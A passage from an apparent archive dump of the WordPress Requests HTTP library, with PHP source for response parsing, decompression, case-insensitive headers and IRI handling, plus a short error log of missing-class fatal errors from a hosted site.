				$options['hooks']->dispatch('requests.before_redirect', $hook_args);
				$redirected            = self::request($location, $req_headers, $req_data, $options['type'], $options);
				$redirected->history[] = $return;
				return $redirected;
			} elseif ($options['redirected'] >= $options['redirects']) {
				throw new Exception('Too many redirects', 'toomanyredirects', $return);
			}
		}

		$return->redirects = $options['redirected'];

		$options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]);
		return $return;
	}

	/**
	 * Callback for `transport.internal.parse_response`
	 *
	 * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response
	 * while still executing a multiple request.
	 *
	 * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object
	 *
	 * @param string $response Full response text including headers and body (will be overwritten with Response instance)
	 * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()}
	 * @return void
	 */
	public static function parse_multiple(&$response, $request) {
		try {
			$url      = $request['url'];
			$headers  = $request['headers'];
			$data     = $request['data'];
			$options  = $request['options'];
			$response = self::parse_response($response, $url, $headers, $data, $options);
		} catch (Exception $e) {
			$response = $e;
		}
	}

	/**
	 * Decoded a chunked body as per RFC 2616
	 *
	 * @link https://tools.ietf.org/html/rfc2616#section-3.6.1
	 * @param string $data Chunked body
	 * @return string Decoded body
	 */
	protected static function decode_chunked($data) {
		if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
			return $data;
		}

		$decoded = '';
		$encoded = $data;

		while (true) {
			$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
			if (!$is_chunked) {
				// Looks like it's not chunked after all
				return $data;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0) {
				// Ignore trailer headers
				return $decoded;
			}

			$chunk_length = strlen($matches[0]);
			$decoded     .= substr($encoded, $chunk_length, $length);
			$encoded      = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded)) {
				return $decoded;
			}
		}

		// We'll never actually get down here
		// @codeCoverageIgnoreStart
	}
	// @codeCoverageIgnoreEnd

	/**
	 * Convert a key => value array to a 'key: value' array for headers
	 *
	 * @param iterable $dictionary Dictionary of header values
	 * @return array List of headers
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable.
	 */
	public static function flatten($dictionary) {
		if (InputValidator::is_iterable($dictionary) === false) {
			throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary));
		}

		$return = [];
		foreach ($dictionary as $key => $value) {
			$return[] = sprintf('%s: %s', $key, $value);
		}

		return $return;
	}

	/**
	 * Decompress an encoded body
	 *
	 * Implements gzip, compress and deflate. Guesses which it is by attempting
	 * to decode.
	 *
	 * @param string $data Compressed data in one of the above formats
	 * @return string Decompressed string
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function decompress($data) {
		if (is_string($data) === false) {
			throw InvalidArgument::create(1, '$data', 'string', gettype($data));
		}

		if (trim($data) === '') {
			// Empty body does not need further processing.
			return $data;
		}

		$marker = substr($data, 0, 2);
		if (!isset(self::$magic_compression_headers[$marker])) {
			// Not actually compressed. Probably cURL ruining this for us.
			return $data;
		}

		if (function_exists('gzdecode')) {
			$decoded = @gzdecode($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		if (function_exists('gzinflate')) {
			$decoded = @gzinflate($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		$decoded = self::compatible_gzinflate($data);
		if ($decoded !== false) {
			return $decoded;
		}

		if (function_exists('gzuncompress')) {
			$decoded = @gzuncompress($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		return $data;
	}

	/**
	 * Decompression of deflated string while staying compatible with the majority of servers.
	 *
	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
	 * function cannot handle out of the box. The following function has been created from
	 * various snippets on the gzinflate() PHP documentation.
	 *
	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
	 * https://core.trac.wordpress.org/ticket/18273
	 *
	 * @since 1.6.0
	 * @link https://core.trac.wordpress.org/ticket/18273
	 * @link https://www.php.net/gzinflate#70875
	 * @link https://www.php.net/gzinflate#77336
	 *
	 * @param string $gz_data String to decompress.
	 * @return string|bool False on failure.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function compatible_gzinflate($gz_data) {
		if (is_string($gz_data) === false) {
			throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data));
		}

		if (trim($gz_data) === '') {
			return false;
		}

		// Compressed data might contain a full zlib header, if so strip it for
		// gzinflate()
		if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") {
			$i   = 10;
			$flg = ord(substr($gz_data, 3, 1));
			if ($flg > 0) {
				if ($flg & 4) {
					list($xlen) = unpack('v', substr($gz_data, $i, 2));
					$i         += 2 + $xlen;
				}

				if ($flg & 8) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 16) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 2) {
					$i += 2;
				}
			}

			$decompressed = self::compatible_gzinflate(substr($gz_data, $i));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		// If the data is Huffman Encoded, we must first strip the leading 2
		// byte Huffman marker for gzinflate()
		// The response is Huffman coded by many compressors such as
		// java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's
		// System.IO.Compression.DeflateStream.
		//
		// See https://decompres.blogspot.com/ for a quick explanation of this
		// data type
		$huffman_encoded = false;

		// low nibble of first byte should be 0x08
		list(, $first_nibble) = unpack('h', $gz_data);

		// First 2 bytes should be divisible by 0x1F
		list(, $first_two_bytes) = unpack('n', $gz_data);

		if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) {
			$huffman_encoded = true;
		}

		if ($huffman_encoded) {
			$decompressed = @gzinflate(substr($gz_data, 2));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") {
			// ZIP file format header
			// Offset 6: 2 bytes, General-purpose field
			// Offset 26: 2 bytes, filename length
			// Offset 28: 2 bytes, optional field length
			// Offset 30: Filename field, followed by optional field, followed
			// immediately by data
			list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2));

			// If the file has been compressed on the fly, 0x08 bit is set of
			// the general purpose field. We can use this to differentiate
			// between a compressed document, and a ZIP file
			$zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08);

			if (!$zip_compressed_on_the_fly) {
				// Don't attempt to decode a compressed zip file
				return $gz_data;
			}

			// Determine the first byte of data, based on the above ZIP header
			// offsets:
			$first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4)));
			$decompressed     = @gzinflate(substr($gz_data, 30 + $first_file_start));
			if ($decompressed !== false) {
				return $decompressed;
			}

			return false;
		}

		// Finally fall back to straight gzinflate
		$decompressed = @gzinflate($gz_data);
		if ($decompressed !== false) {
			return $decompressed;
		}

		// Fallback for all above failing, not expected, but included for
		// debugging and preventing regressions and to track stats
		$decompressed = @gzinflate(substr($gz_data, 2));
		if ($decompressed !== false) {
			return $decompressed;
		}

		return false;
	}
}
Response/error_log000064400000005720151024327070010264 0ustar00[28-Oct-2025 15:57:59 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[29-Oct-2025 15:52:33 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[29-Oct-2025 16:01:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[02-Nov-2025 07:17:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[03-Nov-2025 02:44:00 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Nov-2025 03:01:38 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Nov-2025 03:20:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Nov-2025 03:32:10 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
Response/Headers.php000064400000006035151024327070010433 0ustar00<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */

namespace WpOrg\Requests\Response;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\FilteredIterator;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */
class Headers extends CaseInsensitiveDictionary {
	/**
	 * Get the given header
	 *
	 * Unlike {@see \WpOrg\Requests\Response\Headers::getValues()}, this returns a string. If there are
	 * multiple values, it concatenates them with a comma as per RFC2616.
	 *
	 * Avoid using this where commas may be used unquoted in values, such as
	 * Set-Cookie headers.
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return string|null Header value
	 */
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->flatten($this->data[$offset]);
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			$this->data[$offset] = [];
		}

		$this->data[$offset][] = $value;
	}

	/**
	 * Get all values for a given header
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return array|null Header values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key.
	 */
	public function getValues($offset) {
		if (!is_string($offset) && !is_int($offset)) {
			throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset));
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Flattens a value into a string
	 *
	 * Converts an array into a string by imploding values with a comma, as per
	 * RFC2616's rules for folding headers.
	 *
	 * @param string|array $value Value to flatten
	 * @return string Flattened value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array.
	 */
	public function flatten($value) {
		if (is_string($value)) {
			return $value;
		}

		if (is_array($value)) {
			return implode(',', $value);
		}

		throw InvalidArgument::create(1, '$value', 'string|array', gettype($value));
	}

	/**
	 * Get an iterator for the data
	 *
	 * Converts the internally stored values to a comma-separated string if there is more
	 * than one value for a key.
	 *
	 * @return \ArrayIterator
	 */
	public function getIterator() {
		return new FilteredIterator($this->data, [$this, 'flatten']);
	}
}
Iri.php000064400000071666151024327070006021 0ustar00<?php
/**
 * IRI parser/serialiser/normaliser
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Ipv6;
use WpOrg\Requests\Port;
use WpOrg\Requests\Utility\InputValidator;

/**
 * IRI parser/serialiser/normaliser
 *
 * Copyright (c) 2007-2010, Geoffrey Sneddon and Steve Minutillo.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice,
 *       this list of conditions and the following disclaimer.
 *
 *  * Redistributions in binary form must reproduce the above copyright notice,
 *       this list of conditions and the following disclaimer in the documentation
 *       and/or other materials provided with the distribution.
 *
 *  * Neither the name of the SimplePie Team nor the names of its contributors
 *       may be used to endorse or promote products derived from this software
 *       without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package Requests\Utilities
 * @author Geoffrey Sneddon
 * @author Steve Minutillo
 * @copyright 2007-2009 Geoffrey Sneddon and Steve Minutillo
 * @license https://opensource.org/licenses/bsd-license.php
 * @link http://hg.gsnedders.com/iri/
 *
 * @property string $iri IRI we're working with
 * @property-read string $uri IRI in URI form, {@see \WpOrg\Requests\Iri::to_uri()}
 * @property string $scheme Scheme part of the IRI
 * @property string $authority Authority part, formatted for a URI (userinfo + host + port)
 * @property string $iauthority Authority part of the IRI (userinfo + host + port)
 * @property string $userinfo Userinfo part, formatted for a URI (after '://' and before '@')
 * @property string $iuserinfo Userinfo part of the IRI (after '://' and before '@')
 * @property string $host Host part, formatted for a URI
 * @property string $ihost Host part of the IRI
 * @property string $port Port part of the IRI (after ':')
 * @property string $path Path part, formatted for a URI (after first '/')
 * @property string $ipath Path part of the IRI (after first '/')
 * @property string $query Query part, formatted for a URI (after '?')
 * @property string $iquery Query part of the IRI (after '?')
 * @property string $fragment Fragment, formatted for a URI (after '#')
 * @property string $ifragment Fragment part of the IRI (after '#')
 */
class Iri {
	/**
	 * Scheme
	 *
	 * @var string|null
	 */
	protected $scheme = null;

	/**
	 * User Information
	 *
	 * @var string|null
	 */
	protected $iuserinfo = null;

	/**
	 * ihost
	 *
	 * @var string|null
	 */
	protected $ihost = null;

	/**
	 * Port
	 *
	 * @var string|null
	 */
	protected $port = null;

	/**
	 * ipath
	 *
	 * @var string
	 */
	protected $ipath = '';

	/**
	 * iquery
	 *
	 * @var string|null
	 */
	protected $iquery = null;

	/**
	 * ifragment|null
	 *
	 * @var string
	 */
	protected $ifragment = null;

	/**
	 * Normalization database
	 *
	 * Each key is the scheme, each value is an array with each key as the IRI
	 * part and value as the default value for that part.
	 *
	 * @var array
	 */
	protected $normalization = array(
		'acap' => array(
			'port' => Port::ACAP,
		),
		'dict' => array(
			'port' => Port::DICT,
		),
		'file' => array(
			'ihost' => 'localhost',
		),
		'http' => array(
			'port' => Port::HTTP,
		),
		'https' => array(
			'port' => Port::HTTPS,
		),
	);

	/**
	 * Return the entire IRI when you try and read the object as a string
	 *
	 * @return string
	 */
	public function __toString() {
		return $this->get_iri();
	}

	/**
	 * Overload __set() to provide access via properties
	 *
	 * @param string $name Property name
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), $value);
		}
		elseif (
			   $name === 'iauthority'
			|| $name === 'iuserinfo'
			|| $name === 'ihost'
			|| $name === 'ipath'
			|| $name === 'iquery'
			|| $name === 'ifragment'
		) {
			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
		}
	}

	/**
	 * Overload __get() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return mixed
	 */
	public function __get($name) {
		// isset() returns false for null, we don't want to do that
		// Also why we use array_key_exists below instead of isset()
		$props = get_object_vars($this);

		if (
			$name === 'iri' ||
			$name === 'uri' ||
			$name === 'iauthority' ||
			$name === 'authority'
		) {
			$method = 'get_' . $name;
			$return = $this->$method();
		}
		elseif (array_key_exists($name, $props)) {
			$return = $this->$name;
		}
		// host -> ihost
		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		// ischeme -> scheme
		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		else {
			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
			$return = null;
		}

		if ($return === null && isset($this->normalization[$this->scheme][$name])) {
			return $this->normalization[$this->scheme][$name];
		}
		else {
			return $return;
		}
	}

	/**
	 * Overload __isset() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return bool
	 */
	public function __isset($name) {
		return (method_exists($this, 'get_' . $name) || isset($this->$name));
	}

	/**
	 * Overload __unset() to provide access via properties
	 *
	 * @param string $name Property name
	 */
	public function __unset($name) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), '');
		}
	}

	/**
	 * Create a new IRI object, from a specified string
	 *
	 * @param string|Stringable|null $iri
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null.
	 */
	public function __construct($iri = null) {
		if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) {
			throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri));
		}

		$this->set_iri($iri);
	}

	/**
	 * Create a new IRI object by resolving a relative IRI
	 *
	 * Returns false if $base is not absolute, otherwise an IRI.
	 *
	 * @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI
	 * @param \WpOrg\Requests\Iri|string $relative Relative IRI
	 * @return \WpOrg\Requests\Iri|false
	 */
	public static function absolutize($base, $relative) {
		if (!($relative instanceof self)) {
			$relative = new self($relative);
		}
		if (!$relative->is_valid()) {
			return false;
		}
		elseif ($relative->scheme !== null) {
			return clone $relative;
		}

		if (!($base instanceof self)) {
			$base = new self($base);
		}
		if ($base->scheme === null || !$base->is_valid()) {
			return false;
		}

		if ($relative->get_iri() !== '') {
			if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
				$target = clone $relative;
				$target->scheme = $base->scheme;
			}
			else {
				$target = new self;
				$target->scheme = $base->scheme;
				$target->iuserinfo = $base->iuserinfo;
				$target->ihost = $base->ihost;
				$target->port = $base->port;
				if ($relative->ipath !== '') {
					if ($relative->ipath[0] === '/') {
						$target->ipath = $relative->ipath;
					}
					elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
						$target->ipath = '/' . $relative->ipath;
					}
					elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
						$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
					}
					else {
						$target->ipath = $relative->ipath;
					}
					$target->ipath = $target->remove_dot_segments($target->ipath);
					$target->iquery = $relative->iquery;
				}
				else {
					$target->ipath = $base->ipath;
					if ($relative->iquery !== null) {
						$target->iquery = $relative->iquery;
					}
					elseif ($base->iquery !== null) {
						$target->iquery = $base->iquery;
					}
				}
				$target->ifragment = $relative->ifragment;
			}
		}
		else {
			$target = clone $base;
			$target->ifragment = null;
		}
		$target->scheme_normalization();
		return $target;
	}

	/**
	 * Parse an IRI into scheme/authority/path/query/fragment segments
	 *
	 * @param string $iri
	 * @return array
	 */
	protected function parse_iri($iri) {
		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
		$has_match = preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match);
		if (!$has_match) {
			throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri);
		}

		if ($match[1] === '') {
			$match['scheme'] = null;
		}
		if (!isset($match[3]) || $match[3] === '') {
			$match['authority'] = null;
		}
		if (!isset($match[5])) {
			$match['path'] = '';
		}
		if (!isset($match[6]) || $match[6] === '') {
			$match['query'] = null;
		}
		if (!isset($match[8]) || $match[8] === '') {
			$match['fragment'] = null;
		}
		return $match;
	}

	/**
	 * Remove dot segments from a path
	 *
	 * @param string $input
	 * @return string
	 */
	protected function remove_dot_segments($input) {
		$output = '';
		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
			// A: If the input buffer begins with a prefix of "../" or "./",
			// then remove that prefix from the input buffer; otherwise,
			if (strpos($input, '../') === 0) {
				$input = substr($input, 3);
			}
			elseif (strpos($input, './') === 0) {
				$input = substr($input, 2);
			}
			// B: if the input buffer begins with a prefix of "/./" or "/.",
			// where "." is a complete path segment, then replace that prefix
			// with "/" in the input buffer; otherwise,
			elseif (strpos($input, '/./') === 0) {
				$input = substr($input, 2);
			}
			elseif ($input === '/.') {
				$input = '/';
			}
			// C: if the input buffer begins with a prefix of "/../" or "/..",
			// where ".." is a complete path segment, then replace that prefix
			// with "/" in the input buffer and remove the last segment and its
			// preceding "/" (if any) from the output buffer; otherwise,
			elseif (strpos($input, '/../') === 0) {
				$input = substr($input, 3);
				$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
			}
			elseif ($input === '/..') {
				$input = '/';
				$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
			}
			// D: if the input buffer consists only of "." or "..", then remove
			// that from the input buffer; otherwise,
			elseif ($input === '.' || $input === '..') {
				$input = '';
			}
			// E: move the first path segment in the input buffer to the end of
			// the output buffer, including the initial "/" character (if any)
			// and any subsequent characters up to, but not including, the next
			// "/" character or the end of the input buffer
			elseif (($pos = strpos($input, '/', 1)) !== false) {
				$output .= substr($input, 0, $pos);
				$input = substr_replace($input, '', 0, $pos);
			}
			else {
				$output .= $input;
				$input = '';
			}
		}
		return $output . $input;
	}

	/**
	 * Replace invalid character with percent encoding
	 *
	 * @param string $text Input string
	 * @param string $extra_chars Valid characters not in iunreserved or
	 *                            iprivate (this is ASCII-only)
	 * @param bool $iprivate Allow iprivate
	 * @return string
	 */
	protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) {
		// Normalize as many pct-encoded sections as possible
		$text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text);

		// Replace invalid percent characters
		$text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text);

		// Add unreserved and % to $extra_chars (the latter is safe because all
		// pct-encoded sections are now valid).
		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

		// Now replace any bytes that aren't allowed with their pct-encoded versions
		$position = 0;
		$strlen = strlen($text);
		while (($position += strspn($text, $extra_chars, $position)) < $strlen) {
			$value = ord($text[$position]);

			// Start position
			$start = $position;

			// By default we are valid
			$valid = true;

			// No one byte sequences are valid due to the while.
			// Two byte sequence:
			if (($value & 0xE0) === 0xC0) {
				$character = ($value & 0x1F) << 6;
				$length = 2;
				$remaining = 1;
			}
			// Three byte sequence:
			elseif (($value & 0xF0) === 0xE0) {
				$character = ($value & 0x0F) << 12;
				$length = 3;
				$remaining = 2;
			}
			// Four byte sequence:
			elseif (($value & 0xF8) === 0xF0) {
				$character = ($value & 0x07) << 18;
				$length = 4;
				$remaining = 3;
			}
			// Invalid byte:
			else {
				$valid = false;
				$length = 1;
				$remaining = 0;
			}

			if ($remaining) {
				if ($position + $length <= $strlen) {
					for ($position++; $remaining; $position++) {
						$value = ord($text[$position]);

						// Check that the byte is valid, then add it to the character:
						if (($value & 0xC0) === 0x80) {
							$character |= ($value & 0x3F) << (--$remaining * 6);
						}
						// If it is invalid, count the sequence as invalid and reprocess the current byte:
						else {
							$valid = false;
							$position--;
							break;
						}
					}
				}
				else {
					$position = $strlen - 1;
					$valid = false;
				}
			}

			// Percent encode anything invalid or not in ucschar
			if (
				// Invalid sequences
				!$valid
				// Non-shortest form sequences are invalid
				|| $length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					   $character > 0xD7FF && $character < 0xF900
					|| $character < 0xA0
					|| $character > 0xEFFFD
				)
				&& (
					// Everything not in iprivate, if it applies
					   !$iprivate
					|| $character < 0xE000
					|| $character > 0x10FFFD
				)
			) {
				// If we were a character, pretend we weren't, but rather an error.
				if ($valid) {
					$position--;
				}

				for ($j = $start; $j <= $position; $j++) {
					$text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1);
					$j += 2;
					$position += 2;
					$strlen += 2;
				}
			}
		}

		return $text;
	}

	/**
	 * Callback function for preg_replace_callback.
	 *
	 * Removes sequences of percent encoded bytes that represent UTF-8
	 * encoded characters in iunreserved
	 *
	 * @param array $regex_match PCRE match
	 * @return string Replacement
	 */
	protected function remove_iunreserved_percent_encoded($regex_match) {
		// As we just have valid percent encoded sequences we can just explode
		// and ignore the first member of the returned array (an empty string).
		$bytes = explode('%', $regex_match[0]);

		// Initialize the new string (this is what will be returned) and that
		// there are no bytes remaining in the current sequence (unsurprising
		// at the first byte!).
		$string = '';
		$remaining = 0;

		// Loop over each and every byte, and set $value to its value
		for ($i = 1, $len = count($bytes); $i < $len; $i++) {
			$value = hexdec($bytes[$i]);

			// If we're the first byte of sequence:
			if (!$remaining) {
				// Start position
				$start = $i;

				// By default we are valid
				$valid = true;

				// One byte sequence:
				if ($value <= 0x7F) {
					$character = $value;
					$length = 1;
				}
				// Two byte sequence:
				elseif (($value & 0xE0) === 0xC0) {
					$character = ($value & 0x1F) << 6;
					$length = 2;
					$remaining = 1;
				}
				// Three byte sequence:
				elseif (($value & 0xF0) === 0xE0) {
					$character = ($value & 0x0F) << 12;
					$length = 3;
					$remaining = 2;
				}
				// Four byte sequence:
				elseif (($value & 0xF8) === 0xF0) {
					$character = ($value & 0x07) << 18;
					$length = 4;
					$remaining = 3;
				}
				// Invalid byte:
				else {
					$valid = false;
					$remaining = 0;
				}
			}
			// Continuation byte:
			else {
				// Check that the byte is valid, then add it to the character:
				if (($value & 0xC0) === 0x80) {
					$remaining--;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}
				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
				else {
					$valid = false;
					$remaining = 0;
					$i--;
				}
			}

			// If we've reached the end of the current byte sequence, append it to Unicode::$data
			if (!$remaining) {
				// Percent encode anything invalid or not in iunreserved
				if (
					// Invalid sequences
					!$valid
					// Non-shortest form sequences are invalid
					|| $length > 1 && $character <= 0x7F
					|| $length > 2 && $character <= 0x7FF
					|| $length > 3 && $character <= 0xFFFF
					// Outside of range of iunreserved codepoints
					|| $character < 0x2D
					|| $character > 0xEFFFD
					// Noncharacters
					|| ($character & 0xFFFE) === 0xFFFE
					|| $character >= 0xFDD0 && $character <= 0xFDEF
					// Everything else not in iunreserved (this is all BMP)
					|| $character === 0x2F
					|| $character > 0x39 && $character < 0x41
					|| $character > 0x5A && $character < 0x61
					|| $character > 0x7A && $character < 0x7E
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xD7FF && $character < 0xF900
